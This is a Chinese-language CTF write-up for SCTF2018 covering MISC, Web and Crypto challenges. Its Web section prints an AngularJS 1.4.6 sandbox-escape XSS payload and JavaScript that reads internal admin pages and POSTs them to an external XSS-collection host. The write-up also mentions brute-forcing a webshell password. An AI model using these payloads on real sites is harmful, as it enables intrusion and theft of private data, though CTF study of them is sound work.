SCTF2018-…
前言
太菜了,还是太菜了。我已经沦为MISC选手了QAQ,一道Web没做出来(PHPmyadmin学弟做的)。。。愧为Web狗。
不过。。。这次超过天枢了,好开心。(虽说人家没有认真打)
正体
MISC-Modbus
查了下Modbus,是个工控协议。随手右键看了下TCP流,没想到直接就有flag....
什么鬼。
MISC-侧信道初探
这个算是学到了一点点。查了下侧信道的内容。题目给的文件是一个算法和一个图片。
直接看图片里下降沿,按二进制读取即为flag
MISC-肥宅快乐题
打游戏就给flag,不过真正的肥宅都懒得打,我用Flash反编译找的flag。。。
多亏potplayer强大,能直接拖进度条跳帧。拖到后面找到了flag,但那字体1和l分不清,于是在反编译里查了附近的字段。直接定位,base64 decode,flag complete.
Web-新的建议版
这题XSS都成功了,就是不知道下一步怎么利用。毕竟只能打自己。。。
payload:
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };eval(alert(1))//');}}
页面引用了AngularJS 1.4.6,对应版本有漏洞
怼了两天没做出来。。。。
等大佬们的flag吧。。。。
找到了一份Harries师傅的wp,MMP哟。原来提交留言管理员那里也会触发一遍。。。有句mmp我一定要说。
后台并不在公网上,http://127.0.0.1:1002/admin
构造payload读后台:
$.ajax({
url: "/admin",
type: "GET",
dataType: "text",
success: function(result) {
var code = btoa(encodeURIComponent(result));
xssPost('https://xsspt.com/index.php?do=api&id=xxxxxx', code);
},
error: function(msg) {
}
})
function xssPost(url, postStr) {
var de;
de = document.body.appendChild(document.createElement('iframe'));
de.src = 'about:blank';
de.height = 1;
de.width = 1;
de.contentDocument.write('<form method="POST" action="' + url + '"><input name="code" value="' + postStr + '"/></form>');
de.contentDocument.forms[0].submit();
de.style.display = 'none';
}
在js脚本里写入读取后台页面的代码,提交留言,收到 /admin 页面的内容
在base64跟url解码之后,拿到 /admin 页面
我们可以看到有个文件管理页面,继续修改js访问 /admin/file
这里需要输入文件密码才能访问,接下来找一下文件密码
在一开始的首页里有个 min-test.js ,这里泄露了admin模板文件 view/admintest2313.html ,在这个模板中发现一个备忘录的接口
猜测这是在看 admintest2313 用户的备忘录,然后我们从获取到的后台页面中发现了 adminClound 这个用户名
拿到文件密码后,构造post包访问 /admin/file
$.ajax({
url: "/admin/file",
type: "POST",
data: "filepasswd=HGf%5E%2639NsslUIf%5E23",
dataType: "text",
success: function(result) {
var code = btoa(encodeURIComponent(result));
xssPost('https://xsspt.com/index.php?do=api&id=xxxxxx', code);
},
error: function(msg) {
}
})
即得flag。
太菜了,太菜了。。。。
想不到,想不到。。。。
Web-PHPmyadmin
这题学弟在群里看到了某师傅发的截图,尽管打了码,不过还是看到了师傅用的一句话的名字,爆破了密码。。。直接拿的flag。。。
真是多亏他的防撤回。。。QAQ
Crypto-it may contain 'flag'
nec都给了,数量级相同,用e指数攻击,维纳攻击,可解出d
而后解出:
n = 356096033429997161372356441930246707554046995590506452306084931488519008238592151695866774341246347160182054216879883209187019942641996111166252052256475412435016177136773967956292472785118669272929844214105480922945372638910276569650465033695573697459823872295312452877368652943145314840314022954151337366463
d = 731297
c = 0xd19d63015bdcb0b61824237b5c67cb2ef09af0c6cd30e193ff9683357b1e45ab4df607b8c1e0b96cafc49a84d7e655c3ce0f71b1d217eec9ca6cdfa57dd3dc92533b79431aa8a7d6ca67ac9cdd65b178a5a96ab7ce7bf88440f4a9b9d10151b0c942a42fdab9ea2c2f0c3706e9777c91dcc9bbdee4b0fb7f5d3001719c1dd3d3
mingwen = pow(c,d,n)
print (hex(mingwen))
Crypto-a number problem
x**33=1926041757553905692219721422025224638913707 mod 3436415358139016629092568198745009225773259
tell me the smallest answer of x
这题我还问了我爸到底是个啥原理,算是巧了,,,我爹数学系出身。。。余数定理,我爹说小时候还跟我玩过这个游戏。。。
a = b mod c
====>
a mod c == b mod c
然鹅手写是跑不出来的,最后还是队友用wolframalpha输入等式直接出的。。。。